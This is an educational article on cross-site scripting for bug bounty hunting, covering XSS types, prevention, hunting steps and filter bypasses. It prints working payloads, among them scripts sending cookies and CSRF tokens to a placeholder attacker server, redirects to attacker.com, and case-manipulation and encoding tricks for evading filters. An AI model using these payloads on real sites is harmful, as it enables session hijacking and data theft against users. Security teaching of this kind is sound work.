Cross-Site Scripting (XSS) is consistently reported as one of the most common security flaws in web applications. Its prevalence is evidenced by its perennial inclusion in the OWASP Top 10 vulnerabilities and its status as HackerOne’s most reported vulnerability, with millions of dollars paid out in bug bounties annually.
An XSS vulnerability arises when attackers gain the ability to execute custom scripts on a victim’s web browser. This serious flaw occurs because an application fails to properly distinguish between untrusted user input and the legitimate code that structures a web page. When an attacker successfully injects their own code into pages viewed by other users, the victim’s browser executes the malicious script.
The consequences of a successful XSS attack are significant. A malicious script can:
- Steal cookies and session tokens.
- Leak personal information or sensitive data displayed on the page.
- Change site contents (known as defacement).
- Redirect the user to a malicious website.
These injected scripts are most often JavaScript code, but they can also be written in other languages the browser can execute, such as HTML, Flash, or VBScript (Visual Basic Script).
Mechanisms of an XSS Attack
In a Cross-Site Scripting attack, the fundamental goal is for the attacker to inject an executable script into the HTML pages that are subsequently viewed by a victim. To truly understand this mechanism, it is important to have a foundational grasp of JavaScript and HTML syntax.
The Role of HTML and Script Tags
Web pages are fundamentally composed of HTML (HyperText Markup Language) code. The various elements of HTML describe the page’s structure and contents. For example, an <h1> tag defines a primary page header, and a <p> tag represents a paragraph of text. These tags typically use corresponding closing tags, like </h1> and </p>, to properly define the element’s boundaries.
HTML also allows for the inclusion of executable scripts within documents using the <script> tags. Websites rely on these scripts to manage client-side application logic and enhance interactivity.
For instance, the following code demonstrates a simple script embedded in an HTML file:
<html>
<script>alert ("Hello!") ; </ script>
<h1>Welcome to my web page!</h1>
<p>Thanks for visiting!</p>
</html>
Scripts that are directly embedded within an HTML file, as shown above, are called inline scripts. These are frequently the source of XSS vulnerabilities. Websites can also load JavaScript code as an external file using the src attribute, such as:
<script src="URL_OF_EXTERNAL_SCRIPT"></script>
The Injection Process: From Input to Execution
The core principle of XSS is exploiting how an application handles user input.
Let us consider an example: Imagine a website has an HTML form where visitors can input an email address to subscribe to a newsletter.
The website confirms the subscription by displaying the entered email address back on the screen, for instance:
<p>Thanks! You have subscribed <b>vickie@gmail.com</b> to the newsletter.</p>
The page constructs this confirmation message by directly incorporating the user input.
This is the crucial weak point. What if a user enters a script instead of a legitimate email address? For example, a script designed to redirect the user’s browser:
<script>location="http://attacker.com" ;</script>
If the website fails to validate or sanitize the user input before constructing the confirmation message, the resulting page source code would become:
<p>Thanks! You have subscribed <b><script>location="http://attacker.com" ;</script></b> to the newsletter.</p>
The victim’s browser interprets the <script> tags as executable code, and the inline script is run, causing an immediate redirect to http://attacker.com.
Validation: In this context, validating user input means the application checks that the input meets an expected standard (e.g., ensuring it is formatted like an email address and does not contain malicious JavaScript code).
Sanitization: Sanitizing user input involves modifying or filtering special characters in the input that could interfere with HTML logic (like < or >) before the input is processed.
Exploiting the Trusted Context
XSS is dangerous because once the malicious script is incorporated into the page, the victim’s browser thinks the script is a legitimate part of that site. This trusted context allows the injected script to access any resources the browser stores for that site, including:
- Cookies: Including session cookies (unless the
HttpOnlyflag is set). - Session tokens.
- CSRF tokens (Cross-Site Request Forgery tokens).
- Any sensitive personal information rendered on the page (like credit card numbers).
The script can then use this access to steal information. A common method to steal cookies involves making the victim’s browser send a request to the attacker’s server, with the victim’s cookie as a URL parameter:
<script>
image = new Image();
image.src='https://attacker_server_ip/? c='+document.cookie;
</script>
This JavaScript code attempts to load an image from the attacker’s server. The GET request includes the user’s document.cookie (the victim’s current site cookie) as the URL parameter c. The attacker can then inspect their server logs to retrieve the stolen cookies. It is important to note that if the session cookie has the HttpOnly flag set, JavaScript will not be able to read the cookie, which mitigates the cookie theft risk of XSS. Nevertheless, XSS can still be used to execute actions on the victim’s behalf or modify the page they are viewing.
Types of Cross-Site Scripting (XSS)
The three primary categories of XSS are distinguished by how the malicious payload travels before it is delivered to the victim’s browser.
1. Stored XSS (Persistent XSS)
Stored XSS occurs when malicious user input is permanently stored on a server (e.g., in a database, file system, or server logs) and is later retrieved and rendered unsafely on a user’s browser.
This is often considered the most severe type of XSS because a single injection can potentially attack a vast number of users. The attacker only needs to manage to save the script on the application’s servers (e.g., in a comment field, a user profile, or a message board). Every time a user accesses the page containing this stored information, the XSS script executes in their browser.
Example: An internet forum’s comment field is vulnerable. An attacker posts a comment containing:
<script>alert('XSS by Vickie');</script>
Any user who views that blog post will have the alert box pop up, as their browser interprets the stored string as an executable script rather than harmless text.
2. Blind XSS
Blind XSS is a specialized form of Stored XSS. In this scenario, the malicious input is stored by the server but is executed in a different part of the application, or even an entirely different application, that the attacker cannot directly see.
Example: A user submits a message via a “Contact Support” form on example.com. The input is stored and then displayed on the site’s internal administrative panel without being sanitized. An attacker can inject a script that gets executed by any site administrator who views that support message. These flaws are harder to detect because the input is not reflected back to the attacker’s browser, but they are just as dangerous, often leading to the compromise of administrator accounts or data exfiltration.
3. Reflected XSS (Non-Persistent XSS)
Reflected XSS occurs when user input is taken by the application, processed server-side, and then immediately returned to the user in the HTTP response without being stored in a database.
These issues commonly appear in features that display search results or error messages, relying on URL parameters for input.
Example: A site has a search functionality that displays the search term in the results page header. An attacker crafts a malicious URL:
https://example.com/search?q=<script>alert('XSS by Vickie') ;</script>
If an attacker successfully tricks a victim into clicking this URL, the payload is embedded into the victim’s version of the page, and the browser runs the code. Unlike stored XSS, which is passive once injected, reflected XSS requires the attacker to actively deliver a malicious link to each victim.
4. DOM-Based XSS
DOM-Based XSS is unique because the malicious user input never leaves the user’s browser; it is processed entirely client-side. The application takes user input, processes it on the victim’s browser, and then uses that input to dynamically alter the DOM (Document Object Model).
The DOM is a programming interface (API) for web documents. It represents the page’s structure and allows scripts to access and modify the page’s contents. DOM-based XSS targets this structure directly, attacking the client’s local copy of the web page without necessary server involvement.
Example: A website allows a user to change their display language using a URL parameter, such as https://example.com?locale=north+america. A client-side script uses this locale parameter to construct a welcome message:
<h2>Welcome, user from north america!</h2>
If the script insecurely incorporates the locale parameter, an attacker can trick users into visiting:
https://example.com?locale=<script>location='http://attacker_server_ip/?c='+document.cookie;</script>
The client-side code will embed and execute the payload on the user’s web page. The key difference from Reflected XSS is that the payload is not echoed back from the server in the HTTP response; the client-side JavaScript itself causes the injection.
The input fields that lead to these client-side XSS issues are not limited to URL parameters; they can also appear as URL fragments (strings beginning with a # character) or pathnames. For more detailed information and example payloads, the PortSwigger article “DOM-Based XSS” provides excellent additional resources: https://portswigger.net/web-security/cross-site-scripting/dom-based/
5. Self-XSS
Self-XSS attacks require victims to input a malicious payload themselves. The attacker’s primary challenge is to trick the user (via social engineering) into performing significant actions — often pasting complicated-looking code directly into their browser’s console or a field on their profile that only they can see and edit.
Since self-XSS relies on the manipulation of victims rather than purely technical flaws, these bugs are not typically accepted as valid submissions in bug bounty programs.
Prevention and Mitigation of XSS
The most effective strategy to prevent XSS involves implementing two crucial security controls: robust input validation and contextual output escaping and encoding.
1. Input Validation and Sanitization
Applications should never insert user-submitted data directly into an HTML document, especially not inside <script> tags, HTML tag names, or attribute names.
The server should diligently validate that user-submitted input does not contain dangerous characters that could influence how a browser interprets the information. For example, the presence of the string "<script>" can be a strong indicator of an XSS payload. In such cases, the server has two options:
- Block the request entirely.
- Sanitize the input by removing or properly escaping special characters before further processing.
2. Contextual Output Escaping and Encoding
Escaping refers to the practice of encoding special characters so that they are interpreted literally by the browser or processing machine, rather than as special characters that could define code or structure.
The application must encode the user input based on the context where it will be embedded.
- If the user input is inserted into an HTML body, it needs HTML encoding.
- If inserted into a JavaScript block, it needs JavaScript encoding.
- If inserted into a CSS style, it needs CSS encoding, and so on.
In the context of HTML, special characters like the angle brackets (< and >), the ampersand (&), single and double quotes, and the forward-slash character should be escaped. For example, the left and right angle brackets can be encoded into the HTML entities < and >.
Escaping ensures that browsers cannot misinterpret these encoded characters as executable code. Most modern JavaScript frameworks, such as React, Angular 2+, and Vue.js, automatically handle output escaping, which prevents many XSS vulnerabilities by default.
DOM-Based XSS Prevention
Preventing DOM-based XSS requires a different focus because the malicious input often does not pass through the server.
- Applications should avoid code that rewrites the HTML document based on untrusted user input.
- The application should implement client-side input validation and sanitization before the input is inserted into the DOM.
Mitigating the Impact
Even if an XSS flaw occurs, applications can take steps to reduce the impact:
- HttpOnly Flag: Set the HttpOnly flag on all sensitive cookies, which prevents JavaScript from being able to read or exfiltrate the cookie, thereby mitigating the risk of session hijacking.
- Content-Security-Policy (CSP): Implement the Content-Security-Policy (CSP) HTTP response header. This header allows developers to instruct the browser to execute scripts only from a defined and trusted list of sources, effectively blocking inline scripts and scripts from untrusted external domains.
For comprehensive information, the OWASP XSS prevention cheat sheet is an essential resource: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
Hunting for XSS Vulnerabilities
The fundamental principle for hunting XSS vulnerabilities is to check for reflected or stored user input on a web page. This process varies slightly depending on the XSS type being targeted, but the focus remains on identifying where input is rendered without proper controls.
Before beginning any hunt, using a web proxy tool like Burp Suite is highly recommended. The proxy allows you to intercept and modify all traffic between your browser and the target server.
Step 1: Look for Input Opportunities
First, identify every possible opportunity to submit user input to the target site.
- For Stored XSS: Search for fields where input is stored by the server and later displayed, such as comment fields, user profiles, message boards, and internal system logging fields (for Blind XSS).
- For Reflected and DOM XSS: Look for user input in HTML forms, search boxes, and most importantly, URL parameters, URL fragments (
#), or pathnames.
Don’t limit testing to simple text fields. Even dropdown menus or numeric fields can be exploited by intercepting the request using a proxy and manually inserting a payload.
Example of Interception:
If a standard POST request for an age field looks like this:
POST /edit_user_age
(Post request body)
age=20
You can intercept the request in your proxy (like Burp Suite) and modify the value to an XSS payload:
POST /edit_user_age
(Post request body)
age=<script>alert('XSS by Vickie') ;</script>
To find which user input is reflected, a good method is to insert a unique, custom string (e.g., “XSS_BY_VICKIE”) into every input opportunity. After viewing the page, check the page’s source code (usually by right-clicking and selecting View Source) for that custom string. This confirms the field’s input is being rendered on the resulting page.
Step 2: Insert Payloads
Once injection points are identified, test them with a simple XSS payload. The most common test is an alert box:
<script>alert('XSS by Vickie') ;</script>
If the attack succeeds, a pop-up with the text “XSS by Vickie” will appear. However, most modern, non-defenseless web applications will block this basic payload. As XSS defenses have become more advanced, the payloads needed to bypass them have become more complex.
More Than Just a <script> Tag
Inserting a literal <script> tag is not the only way to achieve XSS. Attackers have devised many other techniques to execute scripts in a victim’s browser, often to bypass filters that specifically block the word “script.”
Using HTML Attributes
Many HTML tags have event attributes that allow the execution of a script when a certain condition is met:
- onload: Runs a script after an element (like an image or the entire
<body>) has finished loading. Example:<img onload=alert('The image has been loaded!') src="example.png"> - onclick: Specifies the script to execute when the element is clicked.
- onerror: Specifies the script to run if an error occurs while loading the element (very common for XSS).
Special URL Schemes
Certain URL schemes can be used to execute JavaScript:
- javascript: URL Scheme: Allows JavaScript code to be specified directly in the URL bar, link, or image source. Example:
javascript:alert('XSS by Vickie') - data: URLs: These allow small files to be embedded directly within a URL. This can be used to embed JavaScript: Example:
data:text/html,<script>alert('XSS by Vickie')</script>Base64 encoding can also be used, often to bypass simple filters:data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTIGJ5IFZpY2tpZScpPC9zY3JpcHQ+(which is the base64-encoded version of<script>alert('XSS by Vickie')</script>).
These URLs can be utilized if a site allows user input for a URL that is then rendered within an element’s source attribute, such as in an <img> tag:
<img src="IMAGE_URL"/>
Closing Out HTML Tags
Often, to inject a full script tag, an attacker must first close out a previous, incomplete HTML tag. This is required when the input is placed inside one element (like the src attribute of an <img> tag) but the attacker needs to start a new, separate element (like a <script> tag) to execute the code.
Example:
If the original HTML tag with a placeholder for user input is:
<img src="USER_INPUT">
The payload must first close the attribute string and then close the tag itself:
"/><script>location="http://attacker.com";</script>
When injected, the resulting, correctly formatted HTML is:
<img src=""/><script>location="http://attacker.com";</script>">
This technique prevents syntax errors that would otherwise stop the browser from correctly interpreting and executing the malicious code. Developers can inspect the returned document in their proxy or use the browser’s console to check for unclosed tags or syntax issues, which can help in troubleshooting failed payloads.
Common XSS Payloads
| Payload | Purpose |
|---|---|
<script>alert(1)</script> | The most generic test payload, generates a pop-up box. |
<iframe src=javascript:alert(1)> | Loads JavaScript within an <iframe>. Useful when <script> tags are specifically blocked. |
<body onload=alert(1)> | Inserts an HTML element that runs JavaScript automatically upon page load. Useful if the string “script” is blocked. |
"><img src=x onerror=prompt(1);> | Closes the previous tag and injects an <img> tag with an invalid source URL. The script runs using the onerror attribute when the image fails to load. |
Advanced XSS Hacking Techniques (For Defense)
Understanding how to successfully execute an XSS payload and subsequently bypass common security measures is critical for any security professional or developer aiming to build resilient web applications. This section details the final steps of a successful XSS demonstration and outlines the common techniques attackers use to evade detection.
Step 3: Confirming the Impact
After an XSS payload is inserted into a target input field, the next crucial step is confirming its execution and full impact.
Direct Execution Confirmation
Confirmation of the XSS payload depends entirely on the type of payload used:
- If the payload was a generic test, such as the
alert()function (e.g.,<script>alert(1)</script>), a pop-up box should be generated on the page. - If the payload used the
locationobject (e.g.,<script>location="http://attacker.com";</script>), the browser should automatically redirect the user offsite.
Delayed and Context-Specific Execution
It is important to recognize that user input might be used to construct much more than just the next immediate web page. The payload might appear in:
- Future web pages (Stored XSS).
- Email notifications.
- File portals.
Furthermore, a time delay can occur between when the payload is submitted and when the user input is rendered. This is common in log files and analytics pages (a hallmark of Blind XSS). In these cases, the payload may not execute until much later, or not until a highly privileged user, like an administrator, accesses their account and views the affected data.
Finally, certain XSS payloads are designed to execute only under specific contexts (event-based XSS), such as:
- When an administrator is logged in.
- When the user actively clicks or hovers over certain HTML elements (e.g., payloads using the
onclickoronmouseoverevent handlers).
To confirm the full impact of an XSS vulnerability, a tester must browse to the necessary pages and perform those specific actions.
Bypassing XSS Protection
Most modern applications implement some level of XSS protection in their input fields. These measures often rely on a blocklist or denylist — a set of rules designed to filter out dangerous expressions (like <script>, onerror, or javascript:) that are indicative of an XSS attack. Security professionals and attackers employ several clever strategies to bypass these filters.
Alternative JavaScript Syntax
A core strategy involves using alternative syntax to achieve the same malicious outcome while avoiding the blocklist.
1. Encoding with fromCharCode() to Avoid Quotes
If the application filters out essential HTML characters, such as single and double quotes, it becomes impossible to write traditional strings directly into an XSS payload (e.g., for setting a malicious URL).
To circumvent this, one can use the native JavaScript function String.fromCharCode(). This function maps a list of numeric codes to their corresponding ASCII characters, allowing for the construction of any required string without using quotes in the initial payload.
Example:
The string "http://attacker_server_ip/?c=" is equivalent to the ASCII character codes: 104, 116, 116, 112, 58, 47, 47, 97, 116, 116, 97, 99, 107, 101, 114, 95, 115, 101, 114, 118, 101, 114, 95, 105, 112, 47, 63, 99, 61.
Using this, a payload that needs a URL string but is blocked from using quotes could look like this — an abstract, illustrative example to show the concept (the actual implementation would be complex and context-dependent), constructed without using quotes and using String.fromCharCode() to build the URL string.
To easily translate an exploit string into an ASCII number sequence, one can use a simple JavaScript code snippet like this in a local HTML file or an online editor (e.g., https://js.do/):
// Helper script to convert a string to ASCII codes
function ascii(a) { return a.charCodeAt(0); } // 1: Defines a function to get ASCII code.
var exploitString = "http://attacker_server_ip/?c=";
var translatedCodes = [];
for (var i = 0; i
Running this code would output: “104, 116, 116, 112, 58, 47, 47, 97, 116, 116, 97, 99, 107, 101, 114, 95, 115, 101, 114, 118, 101, 114, 95, 105, 112, 47, 63, 99, 61”. This numerical sequence can then be used with String.fromCharCode() to construct the final payload.
2. Filter Logic Errors (Case Manipulation)
Another common vulnerability arises from errors in the filter’s logic. For instance, an application might attempt to remove all instances of <script> tags by implementing a filter that only targets the lowercase string script.
If the filter is case-sensitive, an attacker can bypass it by manipulating the case of the letters:
<sCrIpT>
<SCRIPT>
Browsers are case-insensitive when parsing HTML tags, meaning they will correctly interpret all of these variations as a legitimate <script> tag, while the filter’s narrow blocklist will fail to detect them.
Escalating the Attack
The actual impact and therefore the severity rating of an XSS vulnerability are determined by several factors: the type of XSS, the affected user population, and the data that can be compromised.
Severity and Affected Users
- Stored XSS (especially on high-traffic, public pages) is generally considered the most severe because it can passively attack a large number of users who visit the page.
- Reflected or DOM XSS are considered lower impact as they require active engagement (e.g., clicking a malicious link) from the victim.
- Self-XSS is typically considered the lowest technical impact due to the high level of user interaction and social engineering required.
The Identity of the Affected Users Matters Most
If a Stored XSS vulnerability is found in a location that is only viewed by System Administrators (e.g., an internal support ticket system or server logs), the vulnerability’s severity escalates significantly. Attacking high-privilege accounts can allow the attacker to:
- Compromise the integrity of the entire application.
- Gain access to sensitive customer data and internal files.
- Steal API keys and internal credentials.
- Potentially escalate the attack to Remote Code Execution (RCE) by exploiting further flaws or gaining administrative control to upload a shell.
Stealing Sensitive Data and Bypassing CSRF Protection
The primary power of an XSS script is its ability to read any sensitive information rendered on the victim’s page because the script executes in the page’s trusted security context.
This capability is often used to steal Anti-CSRF (Cross-Site Request Forgery) tokens. If an attacker can steal a user’s CSRF token, they can then craft a separate malicious request, including the stolen token, to execute actions on the user’s behalf, effectively bypassing the site’s CSRF protection.
The following code snippet demonstrates how an XSS payload can be used to read a CSRF token embedded in an HTML element and send it back to the attacker’s server:
var token = document.getElementById('csrf-token')[0]; // Gets the CSRF token value from an element.
var xhr = new XMLHttpRequest(); // Creates a new HTTP request object.
// Sends the token to the attacker's server as a URL parameter.
xhr.open("GET", "http://attacker_server_ip/?token=" + token, true);
xhr.send(null);
Phishing and Malware Delivery
XSS can be used for more than just stealing tokens. An attacker can use JavaScript to dynamically alter the page the victim sees.
- They can replace the legitimate login form with a fake login page and trick the user into entering their credentials (phishing).
- They can automatically redirect the victim to malicious pages that prompt the user to download or install malware.
- They can perform other harmful operations while appearing to operate from the legitimate site.
It is essential to fully assess the complete potential impact of the XSS vulnerability before reporting it, ensuring all possible escalations are included in the final vulnerability report.
Automating XSS Hunting
While manual inspection is crucial for finding complex XSS, certain tools can significantly increase efficiency:
- Browser Developer Tools: These are invaluable for looking for syntax errors in your payloads and troubleshooting execution issues.
- Proxy Search Tools: Using the search functionality in your web proxy (like Burp Suite) to look for your reflected input string (e.g., “XSS_BY_VICKIE”) across all server responses streamlines the process of identifying potential injection points.
- Fuzzing Tools: If the program you are testing allows for automated testing, tools like Burp Intruder or other fuzzers can be configured to conduct an automatic XSS scan by systematically injecting various payloads into every request parameter.
Finding Your First XSS Vulnerability!
A successful XSS hunt requires a methodical approach that incorporates both manual testing and smart automation. Here is a summary of the recommended steps:
- Look for User Input Opportunities: Identify all potential input points. Test for Stored XSS where input is saved to a server and rendered later (e.g., comments) and for Reflected/DOM XSS where input is reflected back from a URL parameter.
- Insert XSS Payloads: Start with generic test strings or a polyglot payload. If those fail, use a curated list of payloads designed to bypass common filters.
- Confirm the Impact: Check if your browser executed the JavaScript (e.g., a pop-up, a redirect, or a request to your server for Blind XSS).
- Bypass Protections: If payloads are blocked, try techniques like case manipulation or encoding (e.g.,
fromCharCode()) to bypass simple blocklists. - Automate Hunting: Leverage tools like Burp Intruder to systematically fuzz parameters for XSS vulnerabilities.
- Consider the Impact: Assess the severity based on who is targeted (e.g., general users vs. admins), how many users can be affected (Stored vs. Reflected), and what data can be exfiltrated (e.g., cookies, CSRF tokens).
- Submit Your Report: Once confirmed and assessed, send a comprehensive XSS report to the target’s bug bounty program.
